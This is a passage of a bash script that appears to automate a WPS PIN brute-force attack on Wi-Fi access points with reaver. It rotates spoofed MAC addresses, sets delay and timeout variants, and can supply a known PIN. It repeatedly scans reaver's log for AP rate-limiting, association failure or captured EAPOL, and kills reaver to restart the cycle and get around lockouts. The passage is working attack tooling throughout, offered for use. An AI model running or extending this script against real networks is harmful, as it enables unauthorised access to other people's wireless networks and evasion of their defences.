	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R40 == y || $USE_R40 == Y ]] && [[ $USE_LONG40 == y || $USE_LONG40 == Y ]] && [[ $USE_PIN40 == n || $USE_PIN40 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME40"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL40"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP40"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX40" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY40"
echo -e "$info Reaver live time                   = $yel$LIVE40 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME40-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL40 -b $TARGETAP40 -r $RX40:$RY40 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME40-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE40-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R40 == n || $USE_R40 == N ]] && [[ $USE_LONG40 == n || $USE_LONG40 == N ]] && [[ $USE_PIN40 == y || $USE_PIN40 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME40"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL40"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP40"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE40 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME40-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL40 -b $TARGETAP40 -vv -x 60  --pin=$WPS_PIN40 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME40-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE40-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R40 == y || $USE_R40 == Y ]] && [[ $USE_LONG40 == n || $USE_LONG40 == N ]] && [[ $USE_PIN40 == y || $USE_PIN40 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME40"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL40"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP40"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX40" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY40"
echo -e "$info Reaver live time                   = $yel$LIVE40 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME40-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL40 -b $TARGETAP40 -vv -x 60 -r $RX40:$RY40 --pin=$WPS_PIN40 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME40-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE40-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R40 == n || $USE_R40 == N ]] && [[ $USE_LONG40 == y || $USE_LONG40 == Y ]] && [[ $USE_PIN40 == y || $USE_PIN40 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME40"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL40"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP40"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE40 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME40-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL40 -b $TARGETAP40 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN40 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME40-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE40-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME40-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME40-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME40-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP40 (ESSID: $NMEWARN40)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME40-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

